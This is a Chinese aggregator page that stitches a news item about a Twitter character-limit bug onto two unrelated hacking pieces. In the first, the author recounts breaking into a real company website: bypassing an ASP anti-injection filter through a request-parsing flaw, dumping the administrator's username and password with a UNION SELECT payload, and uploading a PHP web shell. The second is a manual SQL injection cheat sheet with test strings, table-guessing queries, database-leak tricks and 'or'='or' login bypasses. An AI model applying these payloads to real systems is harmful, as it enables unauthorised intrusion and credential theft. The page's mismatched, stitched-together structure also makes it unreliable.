61阅读

程序漏洞-Twitter程序漏洞允许用户信息超3千个字符

发布时间:2018-03-07 所属栏目:程序漏洞

一 : Twitter程序漏洞允许用户信息超3千个字符

腾讯科技讯(中涛)北京时间8月15日消息,据美国科技博客网站Mashable报道,多名网络程序开发者近日发现,利用美国微型博客网站Twitter存在的一个程序漏洞,用户可突破Twitter每条信息不得超过140个字符的限制,进而将最多高达3000多个字符的单则Twitter信息成功发送出去。

自Twitter创建以来,一直规定用户每则信息不得超过140个字符。据悉,谷歌Google Group网上论坛“Twitter开发讨论”子论坛成员克里斯·怀特(Chris White)近日首先公布了如何利用Twitter漏洞发布超过140个字符信息的具体操作方式。

怀特称,用户首先使用火狐(Firefox)浏览器访问Twitter共享链接(地址为:http://twitter.com/share?url=),然后在“url=”之后输入自己希望发送的超长度内容。举例来说,用户可键入“http://twitter.com/share?url=测试一下Twitter网站140个字符漏洞”的文字。

在完成上述操作后,Twitter信息框中将显示一个名为“http://t.co/”的链接(即Twitter的缩略网址服务)。用户这时点击信息发布按钮,则超长度的信息将显示在用户帐号之中。值得指出的是,这种超长度信息可在Twitter网站上正确显示,但如果其他用户通过第三方应用程序访问Twitter,则无法看到相应完整信息。

利用怀特公布的方法,Twitter用户“TenhoMania”发布了一则超长信息,字符数超过3000个。其他一些用户也成功发送了超长度信息,并被大量转载。

Mashable称,此前Twitter已修复了用户可发送超长度信息的技术漏洞,原先已经发送的超长度信息要么是无法正常显示,要么是完全不显示。

二 : 利用Request对象的包解析漏洞绕过防注入程序

今天无聊来看看他们的站,打开网站 asp 的企业站 ,点了几个链接看了下,看不出来什么程序 于是扫扫目录 扫出来个 upload_photo.asp 这个文件一般使用的是无惧无组件上传 ,存在双文件上传的漏洞 ,尝试 cookies 欺骗绕过登录检测 遗憾的是不行 看来这个洞被补了。。虽然是老程序 ,但是用了这么多年 ,经过无数次被黑之后 一些洞洞也被补的差不多了。。去网上找了个差不多的企业站程序下载下来研究了下 ,发现其 downloadshow.asp 的防注入是通过 check_sql.asp 文件来实现的 ,好的我们来看看这个程序 看看能不能绕过 ,本地搭建了个测试环境,下面是check_sql.asp 的内容


<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "传参错误!参数 "&name&" 的值中包含非法字符串!nn请不要在参数中出现:and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!nn请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出错了!表单 "&name&" 的值中包含非法字符串!nn请不要在表单中出现: % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出错了!参数 "&name&"的值中包含非法字符串!nn请不要在表单中出现: % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>


可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX

ID=111

然后 downloadshow.asp 中 使用request("ID")仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示:
点击查看原图
点击查看原图
点击查看原图

     这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。
好了 本地成功了 我们拿到目标站来试试效果
来到 downloadshow.asp 页面 提交POST 数据
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理员的用户名密码

点击查看原图

 

      然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传  悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办  使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 ……果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧  上传个 php ,还好服务器支持php ,shell 到手了。 

三 : 手工注入方法,方便大家测试程序漏洞

1、加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。

2、数字型判断是否有注入; 语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询, 如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。 也就表明程序有注入漏洞


防注入解决办法:
1>使用or 2>1 ; or 1>2来进行判断
结果:分别返回不同的页面,说明存在注入漏洞.
分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。 记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面 ,说明存在注入点。

2> 使用xor 1=1; xor 1=2
结果:分别返回不同的页面,说明存在注入漏洞.
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确 页面,说明存在注入点。

3>把and 1=1转换成URL编码形式后在提交 and 1=1 URL编码:%41%4E%44%20%%31%3D%31

4>使用-1;-0
分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.

3、字符型判断是否有注入:
语句:' and '1'=1;' and '1=2(经典)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏同。

防注入解决办法:
在URL的地址后面加上'%2B'(字符型)
分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加 上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1 不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。

搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
说明:加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题。
操作: 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% 将and 1=1 换成注入语句就可以了

判断数据库类型:
and user>0
例如:showdetail.asp?id=49 ;and user>0 如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数 据库的话返回的错误提示里一般会含有"SQL Server"关键了.

猜表名 and exists (select * from 表名)
说明:意思与上面一样,只是用的语名不一样。

猜列名 and (select count(列名) from 表名)>0
说明:如果我们输入的列名猜解正确否反回正常页面

猜长度 and (select top 1 len(username) from admin)>0
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度 为正确。

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字正确。(可以使用折半法猜内容)
折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
两种常见爆库
1、%5c
2、conn.asp

%5c暴库 把二级目录中间的/换成%5c EY: otherweb ... s.asp?BigClassName=职 责范围&BigClassType=1 如果你能看到:’E:ahttc040901 otherwebdzdatabaseiXuEr_Studio.asa’不是一 个有效的 路径。 确定路径名称拼写是否正确, 以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .
conn.asp暴库 这个也是比较老的漏洞,利用价值不大


常见的:'or'='or'万能密码登陆
’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一个很老的利用方法,主要用于一些比较老的网站。

联合查询注入(union查询)
操作步骤:
1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加 (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错
2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.
3>在页面字段值处暴出真实的数据库字段值。



查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.


建议大家先手工检测,熟练掌握基本注入方法,来提高自己的基本注入知识。
警告:不要用做非法用途,不要做有损国家的任何事情!
本文标题:程序漏洞-Twitter程序漏洞允许用户信息超3千个字符
本文地址: http://www.61k.com/1115544.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1